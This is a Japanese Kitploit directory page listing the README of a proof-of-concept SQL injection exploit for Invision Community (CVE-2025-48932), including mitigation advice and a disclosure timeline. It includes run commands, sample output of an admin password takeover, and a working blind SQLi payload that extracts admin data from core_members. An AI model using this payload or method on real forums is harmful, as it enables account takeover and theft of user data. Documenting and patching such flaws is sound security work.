Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-48932---exploit | Kitploit
ツール/GitHubGitHub/xploitgh0st/cve-2025-48932---exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubxploitgh0st/cve-2025-48932---exploit

CVE-2025-48932---exploit

リポジトリを見る
29ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Invision Community SQLインジェクションエクスプロイト (CVE-2025-48932)

Python Version License CVE

Invision Community バージョン <= 4.7.20 における SQL インジェクション脆弱性を示す概念実証 (PoC) エクスプロイトです。

⚠️ 免責事項

このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。

  • コンピュータシステムへの不正アクセスは違法です
  • このツールは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください
  • 作者は、このツールによって引き起こされた不正使用や損害について一切責任を負いません
  • これはセキュリティ研究者、ペネトレーションテスター、および教育目的のみを対象としています

📋 目次

  • 脆弱性の説明
  • 要件
  • インストール
  • 使用方法
  • 動作の仕組み
  • 緩和策
  • クレジット
  • 参考情報

🔍 脆弱性の説明

CVE ID: CVE-2025-48932
深刻度: 高
CVSS スコア: 未定
影響を受けるバージョン: 4.7.21 より前の Invision Community 4.x バージョン

この脆弱性は /applications/calendar/modules/front/calendar/view.php スクリプトに存在します。IPS\calendar\modules\front\calendar\view::search() メソッドの location リクエストパラメータを介して渡されるユーザー入力は、SQL クエリで使用される前に適切にサニタイズされません。

これにより、リモートの認証されていない攻撃者が以下のことを可能にします:

  • データベースから機密データを抽出する
  • 管理者の認証情報を読み取る
  • 管理者アカウントを乗っ取る可能性がある

悪用の前提条件:

  • Calendar アプリケーションがインストールされていること
  • GeoLocation 機能 (Google マップなど) が設定されていること

注記: Invision Community 4.x バージョン < 4.7.18 の SQL インジェクション脆弱性は、管理者パスワードのリセットによる管理者アカウントの乗っ取りや RCE につながる可能性がありましたが、バージョン 4.7.18 でパスワードリセット機構に新しいセキュリティ暗号化キーが導入され、この攻撃経路はより困難になっています。

📦 要件

  • Python 3.7 以上
  • pip (Python パッケージマネージャー)
  • インターネット接続
  • Invision Community <= 4.7.20 を実行しているターゲットシステムで、以下の条件を満たすもの:
    • Calendar アプリケーションがインストールされている
    • GeoLocation 機能が設定されている

🚀 インストール

  1. リポジトリをクローンします:

    root@kitploit:~
    git clone https://github.com/yourusername/invision-sqli-exploit.git
    cd invision-sqli-exploit
    
  2. 依存関係をインストールします:

    root@kitploit:~
    pip install -r requirements.txt
    

💻 使用方法

基本的な使用方法

root@kitploit:~
python invision-sqli-exploit.py -u http://target.com/forum/

冗長モード (デバッグ用)

root@kitploit:~
python invision-sqli-exploit.py -u https://example.com/community/ -v

コマンドライン引数

出力例

root@kitploit:~
==================================================
Invision Community <= 4.7.20 SQL Injection Exploit
CVE-2025-48932
==================================================
Target: http://example.com/forum/
==================================================

[*] Fetching CSRF token...
[+] CSRF token found: abc123def456...
[*] Step 1: Extracting admin email address...
[*] Extracting data: [email protected]
[+] Admin email: [email protected]

[!] Step 2: Manual action required!

Please follow these steps:
1. Navigate to: http://example.com/forum/index.php?/lostpassword/
2. Request a password reset using email: [email protected]
3. Press ENTER when done...

[*] Step 3: Extracting password reset validation key...
[*] Extracting data: xyz789abc123...
[+] Reset key: xyz789abc123...
[*] Step 4: Resetting admin password...

==================================================
[+] EXPLOITATION SUCCESSFUL!
==================================================

Admin credentials:
  Email:    [email protected]
  Password: Pwned1721234567

You can now login at: http://example.com/forum/index.php?/login/

🔬 動作の仕組み

このエクスプロイトは主に 4 つのステップで動作します:

1. CSRF トークンの抽出

スクリプトはまずターゲット Web サイトから CSRF トークンを取得します。これは後続のリクエストに必要です。

2. ブールベースのブラインド SQL インジェクション

二分探索アルゴリズムを使用して、エクスプロイトはデータベースからデータを 1 文字ずつ抽出します:

  • 条件付き SQL クエリを使用して各文字をテストする
  • 正規表現パターンで RLIKE 関数を使用して真/偽の条件を検出する
  • エラーメッセージが条件の成立を示す

3. 管理者メールアドレスの抽出

core_members テーブルにクエリを実行して、管理者のメールアドレスを抽出します。

4. パスワードリセットの悪用

  • 攻撃者は管理者アカウントのパスワードリセットを手動で開始する
  • エクスプロイトはデータベースからパスワードリセット検証キーを抽出する
  • 検証キーを使用して、メールへのアクセスなしで管理者パスワードをリセットする

技術的詳細

インジェクションポイント:

root@kitploit:~
location parameter → calendar/view.php → search() method

ペイロード例:

root@kitploit:~
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#

悪用手法: 効率的なデータ抽出のための二分探索を使用したブールベースのブラインド SQL インジェクション。

🛡️ 緩和策

ユーザー向け

即時対応:

  1. バージョン 4.7.21 以降にアップグレードする - このバージョンは脆弱性を修正しています
  2. Calendar アプリケーションを使用していない場合は無効化する
  3. 不審な活動がないかアクセスログを監視する
  4. 不正アクセスがないか管理者アカウントを確認する

開発者向け

安全なコーディング手法:

  1. パラメータ化クエリ / プリペアドステートメントを使用する - ユーザー入力を SQL クエリに連結しないでください
  2. 入力検証 - すべてのユーザー入力を検証およびサニタイズする
  3. 最小権限の原則 - データベースユーザーには必要最小限の権限のみを付与する
  4. Web アプリケーションファイアウォール (WAF) - SQL インジェクション試行を検出する WAF ルールを導入する
  5. 定期的なセキュリティ監査 - 定期的なコードレビューとペネトレーションテストを実施する

安全なコードの例:

root@kitploit:~
// Vulnerable code
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";

// Secure code
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);

📅 開示のタイムライン

日付イベント
2025年5月16日ベンダーに通知
2025年5月27日バージョン 4.7.21 リリース
2025年5月28日CVE 識別子を申請
2025年5月28日CVE-2025-48932 割り当て

👏 クレジット

開発者:

  • nanda

注記: これは、公に開示された脆弱性情報 (CVE-2025-48932) に基づく独立した実装です。

📚 参考情報

  • CVE-2025-48932 の詳細
  • Invision Community 公式サイト
  • EDB-ID: 52383

📝 ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。

🤝 コントリビューション

コントリビューションを歓迎します! プルリクエストを遠慮なく送信してください。大きな変更については、まず issue を開いて変更内容を議論してください。

⚖️ 法的通知

このツールは MIT ライセンスの下で配布されています。本ソフトウェアを使用することにより、あなたは以下に同意したものとみなされます:

  1. 法的かつ許可されたテスト目的でのみ使用すること
  2. 自身の行動に対して全責任を負うこと
  3. 不正使用や損害について作者に責任を負わせないこと
  4. 適用されるすべての法律と規制を遵守すること

覚えておいてください: コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪であり、重大な法的結果を招く可能性があります。


セキュリティ脆弱性を発見した場合は、公開する前に責任を持ってベンダーに開示してください。

ツールをダウンロード
引数説明必須
-u, --urlターゲットの Invision Community ベース URLはい
-v, --verboseデバッグ用の冗長出力を有効にするいいえ
-h, --helpヘルプメッセージを表示して終了いいえ
2025年7月23日公開開示